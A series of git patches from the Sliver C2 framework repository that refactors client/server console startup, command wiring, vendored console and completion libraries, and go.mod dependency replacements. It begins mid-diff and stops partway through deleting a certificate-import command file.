*commonpb.Empty, stream rpcpb.SliverRPC_EventsServer) error { @@ -18,9 +16,10 @@ func (rpc *Server) Events(_ *commonpb.Empty, stream rpcpb.SliverRPC_EventsServer client := core.NewClient(commonName) core.Clients.Add(client) events := core.EventBroker.Subscribe() + rpcEventsLog.Infof("Client %d connected", client.ID) defer func() { - rpcEventsLog.Infof("%d client disconnected", client.ID) + rpcEventsLog.Infof("Client %d disconnected", client.ID) core.EventBroker.Unsubscribe(events) core.Clients.Remove(client.ID) }() diff --git a/vendor/github.com/reeflective/console/console.go b/vendor/github.com/reeflective/console/console.go index ae9898f563..6a7fe8a310 100644 --- a/vendor/github.com/reeflective/console/console.go +++ b/vendor/github.com/reeflective/console/console.go @@ -42,7 +42,7 @@ type Console struct { // input line being ultimately provided to the command parser. This might // be used by people who want to apply supplemental, specific processing // on the command input line. - PreCmdRunLineHooks []func(args []string) ([]string, error) + PreCmdRunLineHooks []func(raw []string) (args []string, err error) // PreCmdRunHooks - Once the user has entered a command, but before executing // the target command, the console will execute every function in this list. diff --git a/vendor/github.com/reeflective/console/menu.go b/vendor/github.com/reeflective/console/menu.go index 27d8412a18..7302a76f5e 100644 --- a/vendor/github.com/reeflective/console/menu.go +++ b/vendor/github.com/reeflective/console/menu.go @@ -194,7 +194,7 @@ func (m *Menu) resetPreRun() { defer m.console.mutex.RUnlock() // Menu setup - m.resetCommands() // Regenerate the commands for the menu. + m.ResetCommands() // Regenerate the commands for the menu. m.resetCmdOutput() // Reset or adjust any buffered command output. m.prompt.bind(m.console.shell) // Prompt binding @@ -217,7 +217,7 @@ func (m *Menu) resetCmdOutput() { m.out.WriteString("\n") } -func (m *Menu) resetCommands() { +func (m *Menu) Reset() { if m.cmds != nil { m.Command = m.cmds() } diff --git a/vendor/github.com/reeflective/console/run.go b/vendor/github.com/reeflective/console/run.go index eb5b60b9c1..c26264d040 100644 --- a/vendor/github.com/reeflective/console/run.go +++ b/vendor/github.com/reeflective/console/run.go @@ -87,6 +87,45 @@ func (c *Console) Start() error { } } +// Execute is a mimic of the classic one-time cobra command execution. +// This call is thus blocking during the entire parsing/execution process +// of a command-line, but will not happen in the closed-loop console, nor +// will start it (unless the target command does it by itself). +// +// This function should be useful if you have trees of commands that can +// be executed both in closed-loop applications or in a one-off exec style. +// Normally, most command should, if your command behavior/API has no magic. +// This function also does not print any logo. +// +// The command line (os.Args) is matched against the currently active menu. +// Be sure to set and verify this menu before calling this function. +func (c *Console) ExecuteOnce() error { + // Always ensure we work with the active menu, with freshly + // generated commands, bound prompts and some other things. + menu := c.activeMenu() + menu.resetPreRun() + + c.printed = false + + if c.NewlineBefore { + fmt.Println() + } + + // Run user-provided pre-run line hooks, + // which may modify the input line args. + args, err := c.runLineHooks(os.Args) + if err != nil { + return fmt.Errorf("Line error: %s\n", err.Error()) + } + + // Run all pre-run hooks and the command itself + // Don't check the error: if its a cobra error, + // the library user is responsible for setting + // the cobra behavior. + // If it's an interrupt, we take care of it. + return c.execute(menu, args, false) +} + // RunCommand is a convenience function to run a command in a given menu. // After running, the menu commands are reset, and the prompts reloaded. func (m *Menu) RunCommand(line string) (err error) { @@ -135,13 +174,12 @@ func (c *Console) execute(menu *Menu, args []string, async bool) (err error) { // Find the target command: if this command is filtered, don't run it. target, _, _ := cmd.Find(args) if c.isFiltered(target) { - return + return nil } // Console-wide pre-run hooks, cannot. if err = c.runPreRunHooks(); err != nil { - fmt.Printf("Pre-run error: %s\n", err.Error()) - return + return fmt.Errorf("pre-run error: %s", err.Error()) } // Assign those arguments to our parser. diff --git a/vendor/github.com/reeflective/console/tab-completer.go b/vendor/github.com/reeflective/console/tab-completer.go index 2da490bb65..0d7992dc91 100644 --- a/vendor/github.com/reeflective/console/tab-completer.go +++ b/vendor/github.com/reeflective/console/tab-completer.go @@ -114,7 +114,7 @@ func sanitizeArgs(rbuffer []rune, args []string) (sanitized []string) { // Regenerate commands and apply any filters. func (c *Console) completeCommands(menu *Menu) func() { commands := func() { - menu.resetCommands() + menu.ResetCommands() c.hideFilteredCommands() } diff --git a/vendor/github.com/reeflective/team/server/server.go b/vendor/github.com/reeflective/team/server/server.go index 27f04b743d..f9bcbd9686 100644 --- a/vendor/github.com/reeflective/team/server/server.go +++ b/vendor/github.com/reeflective/team/server/server.go @@ -24,7 +24,6 @@ import ( "os" "os/signal" "regexp" - "runtime/debug" "syscall" "github.com/reeflective/team/client" @@ -115,11 +114,11 @@ func (ts *Server) ServeDaemon(host string, port uint16, opts ...Options) (err er log.Debugf("No port specified, using config file default: %d", port) } - defer func() { - if r := recover(); r != nil { - log.Errorf("panic:\n%s", debug.Stack()) - } - }() + // defer func() { + // if r := recover(); r != nil { + // log.Errorf("panic:\n%s", debug.Stack()) + // } + // }() // Start the listener. log.Infof("Starting %s teamserver daemon on %s:%d ...", ts.Name(), host, port) diff --git a/vendor/github.com/rsteube/carapace/carapace.go b/vendor/github.com/rsteube/carapace/carapace.go index 6573567f18..7fba2f2cec 100644 --- a/vendor/github.com/rsteube/carapace/carapace.go +++ b/vendor/github.com/rsteube/carapace/carapace.go @@ -38,6 +38,19 @@ func (c Carapace) PreRun(f func(cmd *cobra.Command, args []string)) { } } +func (c Carapace) PostRun(f func(cmd *cobra.Command, args []string)) { + if entry := storage.get(c.cmd); entry.postrun != nil { + _f := entry.postrun + entry.postrun = func(cmd *cobra.Command, args []string) { + // TODO yuck - probably best to append to a slice in storage + _f(cmd, args) + f(cmd, args) + } + } else { + entry.prerun = f + } +} + // PreInvoke sets a function to alter actions before they are invoked. func (c Carapace) PreInvoke(f func(cmd *cobra.Command, flag *pflag.Flag, action Action) Action) { if entry := storage.get(c.cmd); entry.preinvoke != nil { diff --git a/vendor/github.com/rsteube/carapace/complete.go b/vendor/github.com/rsteube/carapace/complete.go index f23efa8f02..0cf82b3b03 100644 --- a/vendor/github.com/rsteube/carapace/complete.go +++ b/vendor/github.com/rsteube/carapace/complete.go @@ -49,7 +49,11 @@ func complete(cmd *cobra.Command, args []string) (string, error) { action = ActionMessage("failed to load config: " + err.Error()) } - return action.Invoke(context).value(args[0], args[len(args)-1]), nil + act := action.Invoke(context).value(args[0], args[len(args)-1]) + storage.postRun(cmd, args) + + return act, nil + // return action.Invoke(context).value(args[0], args[len(args)-1]), nil } } diff --git a/vendor/github.com/rsteube/carapace/pkg/style/config.go b/vendor/github.com/rsteube/carapace/pkg/style/config.go index 954c19da04..9799b13603 100644 --- a/vendor/github.com/rsteube/carapace/pkg/style/config.go +++ b/vendor/github.com/rsteube/carapace/pkg/style/config.go @@ -25,41 +25,41 @@ func Register(name string, i interface{}) { config.RegisterStyle(name, i) } func Set(key, value string) error { return config.SetStyle(key, value) } type carapace struct { - Value string `description:"default style for values" tag:"core styles"` + Value string `description:"default style for values" tag:"core styles"` Description string `description:"default style for descriptions" tag:"core styles"` - Error string `description:"default style for errors" tag:"core styles"` - Usage string `description:"default style for usage" tag:"core styles"` + Error string `description:"default style for errors" tag:"core styles"` + Usage string `description:"default style for usage" tag:"core styles"` KeywordAmbiguous string `description:"keyword describing a ambiguous state" tag:"keyword styles"` - KeywordNegative string `description:"keyword describing a negative state" tag:"keyword styles"` - KeywordPositive string `description:"keyword describing a positive state" tag:"keyword styles"` - KeywordUnknown string `description:"keyword describing an unknown state" tag:"keyword styles"` + KeywordNegative string `description:"keyword describing a negative state" tag:"keyword styles"` + KeywordPositive string `description:"keyword describing a positive state" tag:"keyword styles"` + KeywordUnknown string `description:"keyword describing an unknown state" tag:"keyword styles"` - LogLevelTrace string `description:"LogLevel TRACE" tag:"loglevel styles"` - LogLevelDebug string `description:"LogLevel DEBUG" tag:"loglevel styles"` - LogLevelInfo string `description:"LogLevel INFO" tag:"loglevel styles"` - LogLevelWarning string `description:"LogLevel WARNING" tag:"loglevel styles"` - LogLevelError string `description:"LogLevel ERROR" tag:"loglevel styles"` + LogLevelTrace string `description:"LogLevel TRACE" tag:"loglevel styles"` + LogLevelDebug string `description:"LogLevel DEBUG" tag:"loglevel styles"` + LogLevelInfo string `description:"LogLevel INFO" tag:"loglevel styles"` + LogLevelWarning string `description:"LogLevel WARNING" tag:"loglevel styles"` + LogLevelError string `description:"LogLevel ERROR" tag:"loglevel styles"` LogLevelCritical string `description:"LogLevel CRITICAL" tag:"loglevel styles"` - LogLevelFatal string `description:"LogLevel FATAL" tag:"loglevel styles"` + LogLevelFatal string `description:"LogLevel FATAL" tag:"loglevel styles"` - Highlight1 string `description:"Highlight 1" tag:"highlight styles"` - Highlight2 string `description:"Highlight 2" tag:"highlight styles"` - Highlight3 string `description:"Highlight 3" tag:"highlight styles"` - Highlight4 string `description:"Highlight 4" tag:"highlight styles"` - Highlight5 string `description:"Highlight 5" tag:"highlight styles"` - Highlight6 string `description:"Highlight 6" tag:"highlight styles"` - Highlight7 string `description:"Highlight 7" tag:"highlight styles"` - Highlight8 string `description:"Highlight 8" tag:"highlight styles"` - Highlight9 string `description:"Highlight 9" tag:"highlight styles"` + Highlight1 string `description:"Highlight 1" tag:"highlight styles"` + Highlight2 string `description:"Highlight 2" tag:"highlight styles"` + Highlight3 string `description:"Highlight 3" tag:"highlight styles"` + Highlight4 string `description:"Highlight 4" tag:"highlight styles"` + Highlight5 string `description:"Highlight 5" tag:"highlight styles"` + Highlight6 string `description:"Highlight 6" tag:"highlight styles"` + Highlight7 string `description:"Highlight 7" tag:"highlight styles"` + Highlight8 string `description:"Highlight 8" tag:"highlight styles"` + Highlight9 string `description:"Highlight 9" tag:"highlight styles"` Highlight10 string `description:"Highlight 10" tag:"highlight styles"` Highlight11 string `description:"Highlight 11" tag:"highlight styles"` Highlight12 string `description:"Highlight 12" tag:"highlight styles"` - FlagArg string `description:"flag with argument" tag:"flag styles"` + FlagArg string `description:"flag with argument" tag:"flag styles"` FlagMultiArg string `description:"flag with multiple arguments" tag:"flag styles"` - FlagNoArg string `description:"flag without argument" tag:"flag styles"` - FlagOptArg string `description:"flag with optional argument" tag:"flag styles"` + FlagNoArg string `description:"flag without argument" tag:"flag styles"` + FlagOptArg string `description:"flag with optional argument" tag:"flag styles"` } var Carapace = carapace{ diff --git a/vendor/github.com/rsteube/carapace/storage.go b/vendor/github.com/rsteube/carapace/storage.go index 9673ffccd1..b4470a1d2d 100644 --- a/vendor/github.com/rsteube/carapace/storage.go +++ b/vendor/github.com/rsteube/carapace/storage.go @@ -20,6 +20,7 @@ type entry struct { dashAny Action preinvoke func(cmd *cobra.Command, flag *pflag.Flag, action Action) Action prerun func(cmd *cobra.Command, args []string) + postrun func(cmd *cobra.Command, args []string) bridged bool } @@ -67,6 +68,13 @@ func (s _storage) preRun(cmd *cobra.Command, args []string) { } } +func (s _storage) postRun(cmd *cobra.Command, args []string) { + if entry := s.get(cmd); entry.postrun != nil { + LOG.Printf("executing PreRun for %#v with args %#v", cmd.Name(), args) + entry.postrun(cmd, args) + } +} + func (s _storage) preinvoke(cmd *cobra.Command, flag *pflag.Flag, action Action) Action { a := action if entry := s.get(cmd); entry.preinvoke != nil { diff --git a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/cli/lscolors/feature.go b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/cli/lscolors/feature.go index fdce6d3014..ff5afcf82f 100644 --- a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/cli/lscolors/feature.go +++ b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/cli/lscolors/feature.go @@ -40,7 +40,6 @@ const worldWritable = 0o002 func determineFeature(fname string, mh bool) (feature, error) { stat, err := os.Lstat(fname) - if err != nil { return featureInvalid, err } diff --git a/vendor/modules.txt b/vendor/modules.txt index d52796d00c..530fae1ca6 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -515,7 +515,7 @@ github.com/pmezard/go-difflib/difflib # github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e ## explicit; go 1.16 github.com/psanford/memfs -# github.com/reeflective/console v0.1.6 +# github.com/reeflective/console v0.1.6 => /home/user/code/github.com/reeflective/console ## explicit; go 1.20 github.com/reeflective/console github.com/reeflective/console/commands/readline @@ -559,7 +559,7 @@ github.com/remyoudompheng/bigfft # github.com/rivo/uniseg v0.4.4 ## explicit; go 1.18 github.com/rivo/uniseg -# github.com/rsteube/carapace v0.37.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca +# github.com/rsteube/carapace v0.37.3 => /home/user/code/github.com/reeflective/carapace ## explicit; go 1.15 github.com/rsteube/carapace github.com/rsteube/carapace/internal/cache From 24926692475095e89ec45632c101d1e0b3eb47c4 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 20 Jul 2023 23:57:39 +0200 Subject: [PATCH 012/124] Big refactoring of the client/server console entry/creation code - Move server-only commands in a dir. - Refactor client code with a single entrypoint function for all CLI modes, with pre-connect, loops and everything. --- Makefile | 6 +- client/cli/cli.go | 126 +---------- client/cli/console.go | 30 --- client/cli/teamclient.go | 28 +-- client/command/console/console.go | 15 +- client/console/console.go | 64 ++++-- go.mod | 6 +- go.sum | 4 + server/cli/certs.go | 155 -------------- server/cli/cli.go | 197 ++++++------------ server/cli/daemon.go | 62 ------ server/cli/operator.go | 95 --------- server/cli/teamserver.go | 35 +--- server/{cli => command/assets}/unpack.go | 39 ++-- server/{cli => command/builder}/builder.go | 135 ++++++------ server/command/certs/certs.go | 169 +++++++++++++++ server/core/events.go | 1 + server/rpc/rpc-events.go | 4 +- .../github.com/reeflective/console/console.go | 2 +- vendor/github.com/reeflective/console/menu.go | 4 +- vendor/github.com/reeflective/console/run.go | 44 +--- .../reeflective/console/tab-completer.go | 2 +- vendor/modules.txt | 2 +- 23 files changed, 429 insertions(+), 796 deletions(-) delete mode 100644 client/cli/console.go delete mode 100644 server/cli/certs.go delete mode 100644 server/cli/daemon.go delete mode 100644 server/cli/operator.go rename server/{cli => command/assets}/unpack.go (55%) rename server/{cli => command/builder}/builder.go (71%) create mode 100644 server/command/certs/certs.go diff --git a/Makefile b/Makefile index d0a043d438..3711c6c847 100644 --- a/Makefile +++ b/Makefile @@ -106,10 +106,8 @@ endif # .PHONY: default default: clean .downloaded_assets validate-go-version - $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server - # $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server - $(ENV) CGO_ENABLED=0 $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client - # $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client + $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server + $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client # Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client` # NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work. diff --git a/client/cli/cli.go b/client/cli/cli.go index 49eb31c265..d3f9299685 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -20,92 +20,44 @@ package cli import ( "fmt" - "log" "os" - "path" "github.com/bishopfox/sliver/client/command" - "github.com/bishopfox/sliver/client/console" - // consts "github.com/bishopfox/sliver/client/constants". - "github.com/bishopfox/sliver/client/version" + consoleCmd "github.com/bishopfox/sliver/client/command/console" "github.com/rsteube/carapace" "github.com/spf13/cobra" ) -const ( - logFileName = "sliver-client.log" -) - -var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion()) - -// Initialize logging. -func initLogging(appDir string) *os.File { - log.SetFlags(log.LstdFlags | log.Lshortfile) - logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) - if err != nil { - panic(fmt.Sprintf("[!] Error opening file: %s", err)) - } - log.SetOutput(logFile) - return logFile -} - -func init() { -} - -var rootCmd = &cobra.Command{ - Use: "sliver-client", - Short: "Client-only Sliver C2 management", - Long: ``, - TraverseChildren: true, -} - // Execute - Execute root command. func Execute() { - // Create the console client, without any RPC or commands bound to it yet. - // This created before anything so that multiple commands can make use of - // the same underlying command/run infrastructure. - con := console.NewConsole(false) - - // Teamclient API and commands for remote CLI. - teamclient := newSliverTeam(con) - con.Teamclient = teamclient - - // Bind commands to the app - // server := con.App.Menu(consts.ServerMenu) - // server.SetCommands(command.ServerCommands(con, nil)) - // - // sliver := con.App.Menu(consts.ImplantMenu) - // sliver.SetCommands(command.SliverCommands(con)) + con := newSliverTeam() serverCmds := command.ServerCommands(con, nil)() - - // serverCmds = server.Command serverCmds.Use = "sliver-client" // Version serverCmds.AddCommand(cmdVersion) preRun := func(_ *cobra.Command, _ []string) error { - teamclient.Connect() - - console.StartClient(con, command.ServerCommands(con, nil), command.SliverCommands(con)) - return nil + return con.Teamclient.Connect() } serverCmds.PersistentPreRunE = preRun postRun := func(_ *cobra.Command, _ []string) error { - // teamclient.SetLogLevel(1) - teamclient.Disconnect() - return nil + return con.Teamclient.Disconnect() } // serverCmds.PersistentPostRunE = postRun + // Client console. // All commands and RPC connection are generated WITHIN the command RunE(): // that means there should be no redundant command tree/RPC connections with // other command trees below, such as the implant one. - serverCmds.AddCommand(consoleCmd(con)) + consoleServerCmds := command.ServerCommands(con, nil) + consoleSliverCmds := command.SliverCommands(con) + + serverCmds.AddCommand(consoleCmd.Command(con, consoleServerCmds, consoleSliverCmds)) // Implant. // The implant command allows users to run commands on slivers from their @@ -128,63 +80,3 @@ func Execute() { os.Exit(1) } } - -// func Execute() { -// // Create the console client, without any RPC or commands bound to it yet. -// // This created before anything so that multiple commands can make use of -// // the same underlying command/run infrastructure. -// con := console.NewConsole(false) -// -// // Teamclient API and commands for remote CLI. -// teamclient := newSliverTeam(con) -// teamclientCmds := commands.Generate(teamclient) -// -// rootCmd.AddCommand(teamclientCmds) -// -// // Bind commands to the app -// server := con.App.Menu(consts.ServerMenu) -// server.SetCommands(command.ServerCommands(con, nil)) -// -// sliver := con.App.Menu(consts.ImplantMenu) -// sliver.SetCommands(command.SliverCommands(con)) -// -// server.Reset() -// -// rootCmd = server.Command -// rootCmd.Use = "sliver-client" -// -// // Version -// rootCmd.AddCommand(cmdVersion) -// -// preRun := func(_ *cobra.Command, _ []string) error { -// // return teamclient.Connect() -// teamclient.Connect() -// console.StartClient(con, nil, nil) -// return nil -// } -// -// rootCmd.PersistentPreRunE = preRun -// -// // Client console. -// // All commands and RPC connection are generated WITHIN the command RunE(): -// // that means there should be no redundant command tree/RPC connections with -// // other command trees below, such as the implant one. -// rootCmd.AddCommand(consoleCmd(con)) -// -// // Implant. -// // The implant command allows users to run commands on slivers from their -// // system shell. It makes use of pre-runners for connecting to the server -// // and binding sliver commands. These same pre-runners are also used for -// // command completion/filtering purposes. -// rootCmd.AddCommand(implantCmd(con)) -// -// // Completions -// comps := carapace.Gen(rootCmd) -// comps.PreRun(func(cmd *cobra.Command, args []string) { -// preRun(cmd, args) -// }) -// if err := rootCmd.Execute(); err != nil { -// fmt.Println(err) -// os.Exit(1) -// } -// } diff --git a/client/cli/console.go b/client/cli/console.go deleted file mode 100644 index 541ff96050..0000000000 --- a/client/cli/console.go +++ /dev/null @@ -1,30 +0,0 @@ -package cli - -import ( - "github.com/bishopfox/sliver/client/command" - "github.com/bishopfox/sliver/client/console" - consts "github.com/bishopfox/sliver/client/constants" - "github.com/spf13/cobra" -) - -// consoleCmd generates the console with required pre/post runners. -func consoleCmd(con *console.SliverClient) *cobra.Command { - consoleCmd := &cobra.Command{ - Use: "console", - Short: "Start the sliver client console", - RunE: func(cmd *cobra.Command, args []string) error { - // return console.StartClient(con, nil, nil, true) - - // Bind commands to the app - server := con.App.Menu(consts.ServerMenu) - server.SetCommands(command.ServerCommands(con, nil)) - - sliver := con.App.Menu(consts.ImplantMenu) - sliver.SetCommands(command.SliverCommands(con)) - - return con.App.Start() - }, - } - - return consoleCmd -} diff --git a/client/cli/teamclient.go b/client/cli/teamclient.go index 77c1ccc315..c3cb3c6d86 100644 --- a/client/cli/teamclient.go +++ b/client/cli/teamclient.go @@ -19,38 +19,22 @@ package cli */ import ( - "errors" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/reeflective/team/client" teamGrpc "github.com/reeflective/team/transports/grpc/client" - "google.golang.org/grpc" ) -func newSliverTeam(con *console.SliverClient) *client.Client { +func newSliverTeam() *console.SliverClient { gTeamclient := teamGrpc.NewTeamClient() - bindClient := func(clientConn any) error { - grpcClient, ok := clientConn.(*grpc.ClientConn) - if !ok || grpcClient == nil { - return errors.New("No gRPC client to use for service") - } - - con.Rpc = rpcpb.NewSliverRPCClient(grpcClient) - - return nil - } - - var clientOpts []client.Options - clientOpts = append(clientOpts, - client.WithDialer(gTeamclient, bindClient), - ) + con, opts := console.NewSliverClient(gTeamclient) - teamclient, err := client.New("sliver", gTeamclient, clientOpts...) + teamclient, err := client.New("sliver", gTeamclient, opts...) if err != nil { panic(err) } - return teamclient + con.Teamclient = teamclient + + return con } diff --git a/client/command/console/console.go b/client/command/console/console.go index f59a277a68..5a38decd79 100644 --- a/client/command/console/console.go +++ b/client/command/console/console.go @@ -19,16 +19,27 @@ package console */ import ( - "github.com/bishopfox/sliver/client/console" + client "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" + "github.com/reeflective/console" "github.com/spf13/cobra" ) -func Command(con *console.SliverClient) *cobra.Command { +func Command(con *client.SliverClient, serverCmds, sliverCmds console.Commands) *cobra.Command { consoleCmd := &cobra.Command{ Use: "console", Short: "Start the sliver client console", RunE: func(cmd *cobra.Command, args []string) error { con.IsCLI = false + + // Bind commands to the app + server := con.App.Menu(consts.ServerMenu) + server.SetCommands(serverCmds) + + sliver := con.App.Menu(consts.ImplantMenu) + sliver.SetCommands(sliverCmds) + + // Start the console, blocking until player exit. return con.App.Start() }, } diff --git a/client/console/console.go b/client/console/console.go index a1866fcb99..4a75915d18 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -21,6 +21,7 @@ package console import ( "bufio" "context" + "errors" "fmt" "io" "log" @@ -45,8 +46,10 @@ import ( "github.com/reeflective/console" "github.com/reeflective/readline" "github.com/reeflective/team/client" + teamGrpc "github.com/reeflective/team/transports/grpc/client" "github.com/spf13/cobra" "golang.org/x/exp/slog" + "google.golang.org/grpc" "google.golang.org/protobuf/proto" ) @@ -106,10 +109,32 @@ type SliverClient struct { Teamclient *client.Client } -// NewConsole creates the sliver client (and console), creating menus and prompts. +func NewSliverClient(teamclient *teamGrpc.Teamclient) (*SliverClient, []client.Options) { + con := newConsole(false) + + bindClient := func(clientConn any) error { + grpcClient, ok := clientConn.(*grpc.ClientConn) + if !ok || grpcClient == nil { + return errors.New("No gRPC client to use for service") + } + + startClient(con, grpcClient) + + return nil + } + + var clientOpts []client.Options + clientOpts = append(clientOpts, + client.WithDialer(teamclient, bindClient), + ) + + return con, clientOpts +} + +// newConsole creates the sliver client (and console), creating menus and prompts. // The returned console does neither have commands nor a working RPC connection yet, // thus has not started monitoring any server events, or started the application. -func NewConsole(isServer bool) *SliverClient { +func newConsole(isServer bool) *SliverClient { assets.Setup(false, false) settings, _ := assets.LoadSettings() @@ -164,7 +189,9 @@ func NewConsole(isServer bool) *SliverClient { // Init requires a working RPC connection to the sliver server, and 2 different sets of commands. // If run is true, the console application is started, making this call blocking. Otherwise, commands and // RPC connection are bound to the console (making the console ready to run), but the console does not start. -func StartClient(con *SliverClient, serverCmds, sliverCmds console.Commands) { +func startClient(con *SliverClient, conn *grpc.ClientConn) { + con.Rpc = rpcpb.NewSliverRPCClient(conn) + // The console application needs to query the terminal for cursor positions // when asynchronously printing logs (that is, when no command is running). // If ran from a system shell, however, those queries will block because @@ -175,34 +202,27 @@ func StartClient(con *SliverClient, serverCmds, sliverCmds console.Commands) { con.printf = con.App.TransientPrintf } - // Bind commands to the app - server := con.App.Menu(consts.ServerMenu) - server.SetCommands(serverCmds) - - sliver := con.App.Menu(consts.ImplantMenu) - sliver.SetCommands(sliverCmds) - // Events go con.startEventLoop() go core.TunnelLoop(con.Rpc) // console logger if con.Settings.ConsoleLogs { - // // Classic logs + // Classic logs consoleLog := getConsoleLogFile() - // consoleLogStream, err := con.ClientLogStream("json") - // if err != nil { - // log.Printf("Could not get client log stream: %s", err) - // } - con.setupLogger(consoleLog) + consoleLogStream, err := con.ClientLogStream("json") + if err != nil { + log.Printf("Could not get client log stream: %s", err) + } + con.setupLogger(consoleLog, consoleLogStream) // defer consoleLog.Close() // - // // Ascii cast sessions (complete terminal interface). - // asciicastLog := getConsoleAsciicastFile() - // defer asciicastLog.Close() - // - // asciicastStream, err := con.ClientLogStream("asciicast") - // con.setupAsciicastRecord(asciicastLog, asciicastStream) + // Ascii cast sessions (complete terminal interface). + // asciicastLog := getConsoleAsciicastFile() + // defer asciicastLog.Close() + + // asciicastStream, err := con.ClientLogStream("asciicast") + // con.setupAsciicastRecord(asciicastLog, asciicastStream) } } diff --git a/go.mod b/go.mod index f665adb866..6419ae08d0 100644 --- a/go.mod +++ b/go.mod @@ -2,13 +2,13 @@ module github.com/bishopfox/sliver go 1.20 -replace github.com/rsteube/carapace v0.37.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca +// replace github.com/rsteube/carapace v0.37.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca -// replace github.com/rsteube/carapace v0.37.3 => /home/user/code/github.com/reeflective/carapace +replace github.com/rsteube/carapace v0.37.3 => /home/user/code/github.com/reeflective/carapace replace github.com/reeflective/team v0.0.0-20230717232729-e28a155bca96 => /home/user/code/github.com/reeflective/team -replace github.com/reeflective/console v0.1.6 => /home/user/code/github.com/reeflective/console +// replace github.com/reeflective/console v0.1.6 => /home/user/code/github.com/reeflective/console require ( filippo.io/age v1.1.1 diff --git a/go.sum b/go.sum index b9f137fea9..ba570edf91 100644 --- a/go.sum +++ b/go.sum @@ -322,6 +322,10 @@ github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZN github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e h1:51xcRlSMBU5rhM9KahnJGfEsBPVPz3182TgFRowA8yY= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e/go.mod h1:tcaRap0jS3eifrEEllL6ZMd9dg8IlDpi2S1oARrQ+NI= +github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca h1:tD797h1qmNtS/2z6Y7EtIg7OXEDaoSuULsUoksEepmQ= +github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= +github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/Mcuw= +github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek= github.com/reeflective/readline v1.0.8 h1:VuDGI82lAwl1H5by+hpW4OQgM+9ikh6EuOySQUGP3sI= github.com/reeflective/readline v1.0.8/go.mod h1:5JgnHb/ZCvp/6RUA59HEansPBxWTkyBO4hJ5LL9Fp1Y= github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= diff --git a/server/cli/certs.go b/server/cli/certs.go deleted file mode 100644 index c334d23934..0000000000 --- a/server/cli/certs.go +++ /dev/null @@ -1,155 +0,0 @@ -package cli - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "encoding/json" - "fmt" - "os" - "path/filepath" - "strings" - - "github.com/bishopfox/sliver/server/certs" - "github.com/spf13/cobra" -) - -var ( - // CATypes - CA types - CATypes = map[string]string{ - "operator": certs.OperatorCA, - "mtls": certs.MtlsImplantCA, - "https": certs.HTTPSCA, - } -) - -// CA - Exported CA format -type CA struct { - Certificate string `json:"certificate"` - PrivateKey string `json:"private_key"` -} - -func validCATypes() []string { - types := []string{} - for caType := range CATypes { - types = append(types, caType) - } - return types -} - -var cmdImportCA = &cobra.Command{ - Use: "import-ca", - Short: "Import certificate authority", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - caType, err := cmd.Flags().GetString(caTypeFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err) - os.Exit(1) - } - ca, ok := CATypes[caType] - if !ok { - CAs := strings.Join(validCATypes(), ", ") - fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs) - 